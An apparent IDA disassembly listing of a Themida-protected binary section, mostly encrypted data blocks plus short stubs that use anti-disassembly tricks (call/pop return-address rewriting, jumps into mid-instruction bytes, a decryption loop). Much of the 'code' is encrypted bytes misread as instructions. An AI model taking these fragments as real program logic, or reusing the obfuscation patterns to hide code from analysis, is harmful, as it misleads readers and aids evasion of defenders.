		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 45A1C353h, 8B0F42B3h, 13h, 0EE9h,	4D6B3A00h
		dd 0F964F7E9h, 0D4749DC6h, 0FF743A88h, 0E4306195h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 51EDAC77h, 6A0104FCh, 4195FF00h, 8B07E40Eh, 0B07FEBC0h
		dd 0D8F1237Ah, 0F504B02Eh, 15F1363Ch, 9673E031h, 36762331h
		dd 0A9EA337Bh, 0C5E17C1Dh, 0EBF3F5A5h, 8204670Ah, 7462880Ch
		dd 0A82DFF03h, 654B8E88h, 0A1689D92h, 11EC6290h, 8091DE4h
		dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h, 0A1DDB2A0h
		dd 0E6758173h, 11F2349Ch, 35AA8CF2h, 0F8FD2CC8h, 97572F9h
		dd 0C671EB10h, 539A84C5h, 62011884h, 4AF89873h,	39D258EEh
		dd 9DB663A2h, 8D8DEF64h, 7ECA1AEh, 6A1B589h, 8D8907E4h
		dd 7E41B71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0ADC35343h, 0A44EB018h,	853160F9h, 7E412C9h, 21159D8Bh
		dd 0C76107E4h, 0E42DA185h, 68D007h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 70056443h
		dd 8962FE0Ah, 0E4020D8Dh, 0D39FBF07h, 85C736CEh, 7E422B9h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_60C5DB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60C5DB	proc near		; CODE XREF: Themida_:0060C5D3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_60C5DB	endp

; ---------------------------------------------------------------------------
		db 0AEh
		dd 8B6487E6h, 6890FF9h,	8B000000h, 0E40709B5h, 49B5FF07h
		dd 0FC07E41Dh, 306195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0FF5F37C3h, 0F2AE769h
		dd 32F1BD89h, 6A07E4h, 0E4195FFh
		db 0E4h
; ---------------------------------------------------------------------------


loc_60C639:				; DATA XREF: Themida_:00582698o
					; Themida_:0058577Co
		pop	es
		mov	eax, eax
		jmp	short loc_60C6BD
; ---------------------------------------------------------------------------
		dw 0BDEDh
		dd 0BD42AC56h, 0A947E085h, 29DE8730h, 0DB93B838h, 0DC9DDE13h
		dd 641EDDCh, 1406B45Fh,	0A922CC39h, 0A13BD485h,	0CF98F0E1h
		dd 0E7F1D87Ah, 0F9234222h, 0ABB545BBh, 8C9F1F3Fh, 9AEC221h
		dd 0CC2AD2FBh, 4EABFEE5h, 6C03F3ADh, 46BDDD56h,	5F885F6Ah
		dd 5CF6ABC6h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh,	86C1DA45h
		dd 79E43D0Dh, 8D9D6915h, 0C3D42D73h, 16363A5h, 85200DBBh
		dd 0A520ED15h
		db 0E2h
; ---------------------------------------------------------------------------


loc_60C6BD:				; CODE XREF: Themida_:0060C63Cj
		lea	ecx, [ebp+7ECA341h]
		push	0
		push	ecx
		call	sub_60C6CE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60C6CE	proc near		; CODE XREF: Themida_:0060C6C6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_60C6CE	endp

; ---------------------------------------------------------------------------
		dw 0B6B3h
		dd 0A55DF92Dh, 0B58BB95Dh, 7E42B61h, 8CD8D89h, 8D8907E4h
		dd 7E41B71h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0D3C35040h, 63E172CDh, 6850Fh, 820F0000h, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+7E42DA1h], 6240h
		push	0
		push	ecx
		call	sub_60C739
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60C739	proc near		; CODE XREF: Themida_:0060C731p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_60C739	endp

; ---------------------------------------------------------------------------
		mov	al, ds:0B6910CC1h
		add	eax, [ecx-6005F9Bh]
		mov	dword ptr [ebp+7E422B9h], 0
		jmp	loc_60C776
; ---------------------------------------------------------------------------
		mov	cl, 64h
		retn
; ---------------------------------------------------------------------------
		dw 7735h
		dd 0E0E00893h, 58D2708h, 0DCADA1CFh
		db 4Ch,	45h
; ---------------------------------------------------------------------------


loc_60C776:				; CODE XREF: Themida_:0060C75Ej
		push	dword ptr [ebp+7E41D5Dh]
		jl	loc_60C794
		call	sub_60C792
		dec	ecx
		hlt
; ---------------------------------------------------------------------------
		db 0F3h, 38h, 0D2h
		dd 2262F659h
		db 6Fh,	9Bh

; =============== S U B	R O U T	I N E =======================================



sub_60C792	proc near		; CODE XREF: Themida_:0060C782p
		stc
		pop	esi


loc_60C794:				; CODE XREF: Themida_:0060C77Cj
		mov	esi, eax
		call	dword ptr [ebp+7E43061h]
		push	0
		push	eax
		call	sub_60C7A7
		and	[eax-3Dh], bl
sub_60C792	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60C7A7	proc near		; CODE XREF: sub_60C792+Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_60C7A7	endp

; ---------------------------------------------------------------------------
aN6TCtLeuFJ	db '­6 TšCβ<‹…u',1Bh,'δ',7,'j',0
; ---------------------------------------------------------------------------


loc_60C7C7:				; DATA XREF: Themida_:00582D58o
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_60C82C
; ---------------------------------------------------------------------------
		db 0D3h, 0DEh, 0DDh
		dd 8D726135h, 0A11B6FA2h, 0BAEB83C1h, 6F77B123h, 0B8CCEFA6h
		dd 783C3737h, 9F935CACh, 988BFBD0h, 0CCA68A0h, 0FB044ED0h
		dd 0EE84894Fh, 72C64472h, 65EE01ECh, 3591FD87h,	0CE8F1B8Dh
		dd 306EB0F8h, 75E94B12h, 38055CBEh, 22BD864h, 0A8C52ABh
		dd 0F4DD17F2h, 27C866A7h
; ---------------------------------------------------------------------------


loc_60C82C:				; CODE XREF: Themida_:0060C7CFj
		jmp	loc_60C83A
; ---------------------------------------------------------------------------
		db 8Eh,	2Ah, 0EDh
		dd 50h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60C83A:				; CODE XREF: Themida_:loc_60C82Cj
		jmp	loc_60CD49
; ---------------------------------------------------------------------------
		db 0Ah
; ---------------------------------------------------------------------------
		xor	dl, [eax]
		jl	short loc_60C8AA
		lea	ebp, [ebp-27h]
		retn
; ---------------------------------------------------------------------------
		dd 2339CDE7h, 869C3044h, 22FB8FABh, 8CA883DCh, 0EA08E2F8h
		dd 4C624056h, 0ADC5A2B8h, 39B66619h, 13AE0342h,	923CCB10h
		dd 0C5FD19F4h, 21FE182Ah, 84DDFDD6h, 90A37E4Ch
		db 13h,	6Ch, 0A0h
; ---------------------------------------------------------------------------


loc_60C883:				; CODE XREF: Themida_:0060C8E1j
		inc	edx
		adc	al, 0EAh
		xor	dword ptr [ecx], 42A0CFB4h
		adc	al, 8Bh
		and	cl, cl
		xor	eax, 1BF7421Fh
		add	ecx, ecx
		db	2Eh
		aad	9Dh
		or	ebp, [ecx+42A0572Ch]


loc_60C8A0:				; CODE XREF: Themida_:0060C8ECj
		adc	al, 3
		call	far ptr	7341h:79916E88h
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------


loc_60C8AA:				; CODE XREF: Themida_:0060C842j
		jp	short loc_60C8EE
		fisub	word ptr [ecx+25h]
		cmp	bl, [ebp+45h]
		mov	cl, 9Bh
		mov	ebp, 1FFD13A7h	; CODE XREF: Themida_:0060C8D3j
		or	ecx, edx
		add	ebp, [ecx]
		or	edx, ebx
		sbb	al, 45h
		add	[edx-44h], ebx
		fmulp	st, st
		nop
		cmc
		movsd
		sub	[ebx-60h], dl
		inc	edx
		adc	al, 0FFh
		xchg	eax, esi
		test	[edx-74h], ch
		jbe	short near ptr loc_60C8B4+3
		or	[edx-74h], ch
		jbe	short loc_60C918
		mov	ds:829A7791h, eax
		dec	edx
		popf
		jecxz	short loc_60C883
		inc	edx
		adc	al, 0C0h
		add	eax, [ebx+1Bh]
		in	al, 11h
		pop	esp
		loopne	loc_60C8A0


loc_60C8EE:				; CODE XREF: Themida_:loc_60C8AAj
		adc	al, 3Ah
		adc	eax, 9133D010h
		leave
		neg	dword ptr [esi+1AB9CB66h]
		jl	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 5A795643h, 81050D58h, 601794FAh, 0EE144225h,	83D32C85h
		dd 0B7EF09E5h
; ---------------------------------------------------------------------------


loc_60C918:				; CODE XREF: Themida_:0060C8D8j
		jmp	near ptr 241FBF27h
; ---------------------------------------------------------------------------
		retf	0F2B8h
; ---------------------------------------------------------------------------
		dd 4225B845h, 0F8AC6914h, 5B8C3BC4h, 0A9CE0h, 4ABC0000h
		dd 0FF2EE8A1h, 74495B53h, 0C8667D56h, 9F64CFEFh, 1442A0h
		dd 4EB70826h, 16EFBDF5h, 8D34A6F6h, 7FA6EEA7h, 0FE1CF682h
		dd 795826ECh, 4CC92D65h, 0E8C36118h, 0C7A0BACCh, 20FD13A7h
		dd 289A7408h, 719E9F55h, 0C69BAD23h, 275F7B56h,	28608059h
		dd 0FA6521EAh, 596F031Fh, 5E2C647Ch, 62306882h,	0F77487h
		dd 0CE1442A0h, 6D40C65h, 72D60E2Ch, 0F0CEB1F5h,	182981DAh
		dd 0FFF306Ch, 8EF8E05Ch, 21000000h, 275F7B56h, 775C7D59h
		dd 64F52831h, 50B4EC45h, 0FF17F492h, 291450EDh,	626FF4Eh
		dd 7EFB5DADh, 144297F9h, 0D4C7E555h, 566E428Ah,	0EFC9EBFDh
		dd 0D25E7251h, 8A3DBF7h, 0E501DCF6h, 0EC00DFADh, 0F00AE6B4h
		dd 0F50DEAB8h, 772F06BDh, 0B8112D08h, 67174F60h, 0E05BACC8h
		dd 482FAC0Eh, 61442C9h,	1A36119Dh, 526908h, 56920000h
		dd 59275F7Bh, 0B315657Bh, 42A04136h, 54A40D14h,	42A020D7h
		dd 3345AE14h, 5D098C6Dh, 57EB07E2h, 16F49286h, 0FBD4EE00h
		dd 7311A3DBh, 0A8437B99h, 7B47E48h, 5E702162h, 42599B65h
		dd 9BCB8814h, 5B181CE3h, 6B9E0h, 3BD90000h, 5C314361h
		dd 10607A56h, 0A04A31AEh, 0A8081442h, 42A0542Bh, 40990214h
		dd 0BD9A682Eh, 0DBB755A5h, 0A0B64DCAh, 0BB241442h, 0D38A5062h
		dd 0F9D548FCh, 571D8FDFh, 0E7418AAFh, 2214355h,	54D1218Dh
		dd 13A6271Eh, 6D3B73DCh, 0CEE47890h, 0F4A1D9F1h, 13A64809h
		dd 3A19B77Bh, 0A3FC18F3h, 21BED06Bh, 0E1DFA65h,	0A648EA91h
		dd 0A6FF6813h, 71FFC12h, 0C09F3DCFh, 0A3809AACh, 4C15538Bh
		dd 30482518h, 293AC59Ch, 3B9BD877h, 0C4000001h,	1C6C424Dh
		dd 23431CBAh, 42A0C3B8h, 14268F14h, 0F572D436h,	1442A00Eh
		dd 585163CCh, 13A6BE86h, 896EEB4Dh, 4513A6BEh, 58B1CFA9h
		dd 0C6FE6746h, 6F031BF8h, 505D7C59h, 0E56403BEh, 0E901F673h
		dd 64CD13A6h, 0C462B20Bh, 0C896CEE8h, 6779D2ECh, 0DEF6D3A1h
		dd 0E79F68A6h, 94942B4h, 9C3E10C6h, 7B93708Ah, 966F0DE7h
		dd 91A33E76h, 772B49B6h, 468ED8h, 4DB70000h, 9D1A6A44h
		dd 6BBD5F06h, 8176F355h, 4D9442A0h, 83F3D2E4h, 7D8A388Bh
		dd 65855EFDh, 0E039922Dh, 4104FBA8h, 5F269442h,	4C622F27h
		dd 0BE187FFCh, 0C537EBBDh, 0DEEAF167h, 0C1A0B2AFh, 7FF6C458h
		dd 85000000h, 1C6C424Dh, 0A6B9F59Fh, 0B2B9B13h,	557B5A1Bh
		dd 0D09ED62Fh, 3147DBF3h, 57043C54h, 13A6C25Bh,	312C58DBh
		dd 89A83C54h, 0F658A806h, 0A6C38279h, 0D5E75013h, 60277AF7h
		dd 93F3144Ah, 0C7FF19F5h, 0A73AC12Ch, 2F981B93h, 6E0C9ED6h
		dd 0A7427A90h, 869E7B95h, 84C0974Eh, 3BB8FF90h,	1B93A744h
		dd 50A912h, 826009Eh, 4A4FDF6h,	0D761C7Fh, 23019F79h, 1F191A06h
		dd 25BF81Dh, 424D1BF0h,	3A135A39h, 1868C11Ah, 0A5FB44B6h
		dd 0FA5A7450h, 4166C22h, 0AE25D60Bh, 0E31B8413h, 8D72EF51h
		dd 4913AE69h, 0D7B4CEE0h, 900D6FBFh, 13AE69EBh,	0CAECFE67h
		dd 87BFD7B4h, 0AFEAECDAh, 782CA944h, 7C102805h,	653E8966h
		dd 0E6B4EC45h, 4BBF307h, 2906792Dh, 0E25FC111h,	4AACEC1Dh
		dd 1C3E50B9h, 0D9112906h, 353h,	3E8DE200h, 245C7E56h, 29617956h
		dd 2F677D5Bh, 31698761h, 346C8863h, 376F8B66h, 3E768A69h
		dd 427A9470h, 437B9B74h, 0E18951EEh, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 81242489h, 42404h, 2F680000h, 89000055h
		dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 2434895Ch
		dd 0ECA3B468h, 240C8B07h, 4C481h, 8B540000h, 0C4832434h
		dd 6D236804h, 0C890000h, 8468F24h, 5724348Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815924h,	4, 0F7D542E9h
		dd 5873A2FFh
		db 0E1h
; ---------------------------------------------------------------------------


loc_60CD49:				; CODE XREF: Themida_:loc_60C83Aj
		mov	eax, 7ECA83Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		scasd
		and	cl, cl
		pop	eax
		retn
; ---------------------------------------------------------------------------
		db 25h
		dd 34965417h, 3A014A47h, 0EC702D93h, 0BF361961h, 968D7588h
		dd 5E9E37E8h, 0EBB83ADFh, 68091F69h, 299D7418h,	1DED1519h
		dd 0F8185FD7h, 71F06D9Ch, 606931DBh, 76A23434h,	6CB35FD7h
		dd 0C3B119C4h, 0CB675586h, 3B356EA3h, 3B8329FBh, 1DFF0830h
		dd 7BAD271Bh, 0BA9A54DAh, 458276FAh, 0ADD254EDh, 640B677Bh
		dd 3A407636h, 36CF7506h, 743274A8h, 5BD450DAh, 0AE8648Eh
		dd 0BB000000h, 703EAE31h, 7F438DEDh, 38D0F5Ch, 51000000h
		dd 815B5FFCh, 5F86C3h, 6800h, 0CF8B0000h, 0D88A6058h, 1834FF61h
		dd 0CFC78166h, 830F5EA6h, 2, 0C68106B6h, 190949F6h, 0CB9F281h
		dd 0F681117Ah, 2D64BEE5h, 68C0Fh, 0D1810000h, 6B45BCD9h
		dd 0C800C681h, 89FC0A3Dh, 0C7810334h, 3797AA29h, 81FBBF0Fh
		dd 831550E8h, 0D3B70F07h, 154CC081h, 0FE80783h,	0D8000000h
		dd 40ED3571h, 0B5F87951h, 0F40897E0h, 8B666220h, 0F8815AD0h
		dd 0FFFFA114h, 0FF8B850Fh, 0BF0FFFFFh, 10EBD1h,	3 dup(0)
		dd 8B000000h, 0E68166C0h, 0BD83DE24h, 7E413F1h,	83097500h
		dd 0E40935BDh, 19740007h, 0C08B5350h, 42DB8h, 79858900h
		dd 8D07E414h, 0E6E9F09Dh, 5BD3FF07h, 35BD8358h,	7E409h
		dd 53501774h, 42DB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh
		dd 5BD3FF07h, 9B6EBE58h, 958B3C79h, 7E404DDh, 0D08BC08Bh
		dd 8D8D8Bh, 6A07E4h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0C843C8C3h, 94280B7Ah, 81662EA5h
		dd 8358EDE2h, 840F00F9h, 5Ch, 0B3E8BE66h, 2C3D8B64h, 66000000h
		dd 1BCBF281h, 840FFF0Bh, 44h, 26918D29h, 3F8B07E4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 80FE38BFh
		dd 890182E3h, 0E4222995h, 8BC03207h, 0E40D8995h, 66AAF307h
		dd 9531D08Bh, 7E42469h,	50414935h, 0DE953h, 97B30000h
		dd 439E6665h, 610537C6h, 0C694BBA2h, 0E42C2D85h, 6A4707h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 2E741FC3h, 52B8C114h, 0C568ABEBh, 0F8D2A9Dh,	587h, 0C8B2BA00h
		dd 34810970h, 0FC15E924h, 94DABA51h, 952B54A9h,	7E401B1h
		dd 2141B5FFh, 5DB607E4h, 0B0A7858Dh, 0BD8907E7h, 7E42B4Dh
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 27FD55C3h, 958B5028h, 7E42211h, 0A618589h
		dd 0B58907E4h, 7E413D1h, 2C2D85C6h, 665307E4h, 688B2DBAh
		dd 72FE6EA5h, 48100B6h,	99FC5724h, 0B5FFF515h, 7E42141h
		dd 8810Fh, 860F0000h, 2, 858D38B6h, 7E7B0A7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 53C35646h, 8918AA51h
		dd 0E42BDDBDh, 89D0FF07h, 0E42BE985h, 26858D07h, 6007E770h
		dd 2E159533h, 860F07E4h, 6, 26E59D8Bh, 896107E4h, 0E4160185h
		dd 898D8907h, 6A07E42Fh, 0FFFF6A20h, 0E4160195h, 41493507h
		dd 85C75350h, 7E4038Dh,	1, 2B6585C7h, 7E4h, 10E90000h
		dd 43000000h, 4010180Dh, 0E5ACCF5Ah, 4043809Eh,	6ABEC357h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0E261C355h, 8BF9EF22h, 0E4301985h, 68D0F07h
		dd 2B000000h, 0E4069995h, 0A36407h, 83000000h, 0E4015DBDh
		dd 840F0007h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 5EC35343h, 550960D0h,	0BD895822h, 7E42F89h
		dd 0AB9858Bh, 0B50307E4h, 7E42BA9h, 8E0FE08Bh, 11h, 6E8h
		dd 0F835DA00h, 0BA8134C1h, 6EFA8A38h, 65BD835Eh, 7E414h
		dd 3F4850Fh, 9D290000h,	7E40565h, 0AE8h, 8724CD00h, 67AAD642h
		dd 0FB62964h, 0C65EF3B7h, 0E42C2D85h, 8D895607h, 7E42355h
		dd 74F13F68h, 243481C2h, 6BB1C1E0h, 139DB501h, 0B5FF07E4h
		dd 7E42141h, 7B5B523h, 858D07E4h, 7E7B0A7h, 0CBAD0FFh
		dd 506310CAh, 8B665250h, 0BA310FD1h, 496640F8h,	489585Ah
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0F6FD4A91h, 0D2AC862Eh, 2DB58B05h, 8B07E406h
		dd 0E404D1B5h, 0C18D8D07h, 6A07E426h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1E55C353h
		dd 26D4BA62h, 8E8h, 60347A00h, 6458804Dh, 0D9958BF8h, 5E07E418h
		dd 50F78A91h, 8B0F6091h, 5, 719FBCBEh, 0D1816643h, 6A610467h
		dd 74BA6604h, 6C16832h,	0D38B86ADh, 3F240481h, 0FF795309h
		dd 0E415DDB5h, 95B58B07h, 0FF07E409h, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 94DE389Fh, 8D0BE5C3h, 299B501h, 0BD8B07E4h, 7E415DDh
		dd 6C1BD29h, 7F0307E4h,	53006A3Ch, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 27882F8h, 81D38A2Ah, 0F8C7h
		dd 2870F00h, 51000000h,	2447C75Ah, 60000020h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F0C35141h, 11E85481h
		dd 0F6000000h, 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h, 54A55A76h
		dd 6840Fh, 85890000h, 7E4045Dh,	0E8BD835Ah, 7ECA9h, 11C840Fh
		dd 6CBE0000h, 830D0CC3h, 6A28C7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0E56D1BC3h, 0F05F6275h
		dd 9531F5F6h, 7E413B5h,	6A2E07C7h, 0AE96469h, 19000000h
		dd 2813ADEEh, 622717ECh, 447C729h, 617461h, 858BF38Bh
		dd 7ECA9F0h, 29B58960h,	8B07E407h, 0E4278D8Dh, 47896107h
		dd 4585090Ch, 8B07E415h, 0ECA9F485h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 6EC09D9h, 3C74251Ch
		dd 3810Fh, 0B70F0000h, 27BE66F1h, 8478982h, 8870Fh, 890F0000h
		dd 2, 0C7835A57h, 0FDB58928h, 0C707E41Ch, 6F632E07h, 0FE9606Eh
		dd 0F000000h, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h, 0C76137A2h
		dd 69660447h, 9D310067h, 7E41AC9h, 3F9F78BEh, 0EC858B22h
		dd 0E907ECA9h, 10h, 0C60ADFDh, 4F11766h, 43ECF464h, 88E8058Ch
		dd 8B0C4789h, 0ECA9E885h, 0FFBE6607h, 8478978h,	1B9D8D89h
		dd 6A5807E4h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 4D4EC352h, 0A98D0960h,	6607E422h
		dd 0D4E2DF81h, 6E961h, 2BF40000h, 9B0ED60Eh, 21A58D8Dh
		dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 17C33EC3h, 6800F24h, 8B000000h, 0E4060DB5h
		dd 198A0F07h, 0F000000h, 1380h,	0EE900h, 0E5720000h, 0C6D3DDC4h
		dd 0F29BF47h, 2CE2133Fh, 14E950h, 0BA850000h, 24283B3Dh
		dd 5C7405F0h, 97A2655Bh, 0E62CBBDAh, 0C890F65h,	9E824h
		dd 0A84F0000h, 6EF801Ah, 8136E26Dh, 4D49BBF6h, 0B5FF5A4Fh
		dd 7E426C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0CDC35242h, 89B9E280h, 0E41529BDh, 0ED306807h
		dd 880F3CB2h, 8, 6660B560h, 61F1F6B8h, 30243481h, 8B3CB2FDh
		dd 0E401F595h, 23DA8007h, 15DDB5FFh, 0D0FF07E4h, 989958Bh
		dd 0B807E4h, 0E9000000h, 0Fh, 108923D2h, 63B0236Bh, 0A8AC643Ch
		dd 0F7A57F1h, 88Ah, 0B58B5000h,	7E425A1h, 0FC00B5Ah, 5D84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0EC75106h, 5860Fh, 81660000h, 50CFDCD2h
		dd 12E9h, 767E1400h, 31281E1Bh,	11A7459Dh, 29EAB36Dh, 5E2332CCh
		dd 0DA1B5FFh, 850107E4h, 7E42145h, 1915950Bh, 95FF07E4h
		dd 7E43061h, 0C08B64B2h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 3FC35242h, 0BD95899Dh, 8307E407h, 0E413F1BDh
		dd 9750007h, 935BD83h, 740007E4h, 8B535019h, 42DB8C0h
		dd 85890000h, 7E40EEDh,	0EA579D8Dh, 0D3FF07E6h,	0BD83585Bh
		dd 7E40935h, 50177400h,	42DB853h, 85890000h, 7E40EEDh
		dd 0E6F89D8Dh, 0D3FF07E6h, 11BE585Bh, 0F63EE1Ah, 686h
		dd 0E9952B00h
		dd 0E907E406h, 11h, 28E3C667h, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh
		dd 8BC08B0Eh, 0E42A6195h, 8DC08B07h, 0ECB2BD8Dh, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 65194A15h, 9A8B2D48h, 0F5B58BB0h, 8B07E424h,	0E40AE1BDh
		dd 718D8907h, 2B07E41Bh, 0E40D3595h, 0A185C707h, 2807E42Dh
		dd 0F900005Ch, 22B985C7h, 7E4h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F7F5C1C3h
		dd 29FD8F20h, 9D8960DDh, 7E42669h, 91B5FF61h, 107E422h
		dd 0E41E4D8Dh, 6195FF07h, 6607E430h, 8B0608BBh,	0E40DC185h
		dd 0FF006A07h, 0E40E4195h
; ---------------------------------------------------------------------------


loc_60D748:				; DATA XREF: Themida_:00583FFCo
					; Themida_:005842D8o
		pop	es
		mov	eax, eax
		jmp	short loc_60D7BC
; ---------------------------------------------------------------------------
		db 87h,	96h, 3Dh
; ---------------------------------------------------------------------------
		jmp	dword ptr [edi+220DFDCBh]
; ---------------------------------------------------------------------------
		dw 8020h
		dd 140F78B5h, 124D8AB0h, 0D3959886h, 6135DDDEh,	6FA28D72h
		dd 83C1A11Bh, 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 5CAC783Ch
		dd 0FBD09F93h, 68A0988Bh, 4ED00CCAh, 894FFB04h,	4472EE84h
		dd 1EC72C6h, 0FD8765EEh, 1B8D3591h, 0B0F8CE8Fh,	4B12306Eh
		dd 5CBE75E9h, 0D8643805h, 52AB022Bh, 17F20A8Ch,	66A7F4DDh
; ---------------------------------------------------------------------------


loc_60D7BC:				; CODE XREF: Themida_:0060D74Bj
		call	near ptr loc_60D7C8+1
		sbb	byte ptr [esi-0EAF610Bh], 0EFh


loc_60D7C8:				; CODE XREF: Themida_:loc_60D7BCp
		mov	eax, ds:3810F60h
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	di, dx
		movzx	esi, dx
		popa
		pop	ecx
		or	dx, 0C199h
		add	ecx, 6769h
		or	edi, [ebp+7E401D5h]
		mov	esi, 19B4h
		mov	eax, [ebp+7E43329h]


loc_60D7F4:				; CODE XREF: Themida_:0060D852j
		push	dword ptr [ecx]
		mov	edx, [ebp+7E42FD5h]
		pop	ebx
		mov	edx, ebx
		sub	ebx, 343A383Bh
		sub	ebx, 6847E9E3h
		mov	edi, [ebp+7E41E19h]
		sub	ebx, 45A4CDCFh
		jmp	loc_60D82E
; ---------------------------------------------------------------------------
		dd 50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch, 5B24E14Dh
		db 0ADh, 3Eh
; ---------------------------------------------------------------------------


loc_60D82E:				; CODE XREF: Themida_:0060D817j
		mov	[ecx], ebx
		jnz	loc_60D839
		mov	di, si


loc_60D839:				; CODE XREF: Themida_:0060D830j
		sub	ecx, 66BE6F62h
		mov	edx, [ebp+7E41DE5h]
		add	ecx, 66BE6F5Eh
		mov	[ebp+7E425B5h],	esi
		dec	esi
		jnz	loc_60D7F4
		adc	eax, 1861BE7Fh
		jmp	short $+2
		jmp	loc_60DC1F
; ---------------------------------------------------------------------------
		db 30h,	58h, 36h
		dd 93B38CA2h, 0F30DE9FFh, 566A495Fh, 0B5D1ACC2h, 0A9A24821h
		dd 81EB2CEh, 667C102Eh,	0C8DE7288h, 8C3FD3EBh, 13985FDCh
		dd 0F13613AEh, 5D7D5662h, 0BDD7B3C9h, 20341329h, 7F9B768Ch
		dd 0ABFAD5EBh, 0E17CB4D0h, 28607855h, 8AA0348Dh, 0E04292B0h
		dd 42A09C63h, 0C39E3A14h, 10EE4EA7h, 0A723E585h, 0DFB9DBEDh
		dd 0DC56096Dh, 1C2EDD76h, 7A0E2402h, 0DB6F8764h, 6D876301h
		dd 8F889A35h, 13A972DAh, 5C394254h, 5F3E0C44h, 0F7A9134Bh
		dd 4E608059h, 0F1415534h, 0D84DE17Fh, 0F2392490h, 0B9046418h
		dd 8DAFC116h, 203815B3h, 183B4DE8h, 6AE73777h, 144AC2C0h
		dd 5BED258Eh, 0B791E4BDh, 6DC66199h, 6E8E6735h,	710A0315h
		dd 0D61B92CCh, 3CDA81C5h, 7510485Eh, 0FF43DC15h, 3C4EEB50h
		dd 8B809E61h, 0F237D0h,	56600000h, 14EB687Bh, 0C21442A0h
		dd 5DC80059h, 0C6953BADh, 0B8FEB004h, 0A04BC8A6h, 2E14425Bh
		dd 90375C5h, 9E7F08E4h,	0E9B77D8Fh, 86FCED0Ch, 19077BCFh
		dd 39162CC0h, 5633D121h, 0ACDE4537h, 0BD165FBEh, 0BEDEB785h
		dd 0B68D5365h, 885D5D9h, 13A604AAh, 283C1BB9h, 67A45BD8h
		dd 0C93213A6h, 376FD8B7h, 82FDA980h, 0DAF98DA5h, 2CA9F9B5h
		dd 14427C86h, 445837D5h, 0AFC1DDB8h, 612F67D0h,	0C0D66A86h
		dd 0BA91C9E5h, 2587D7D7h, 0AF8E7CB3h, 0E984BCD0h, 4FA13D89h
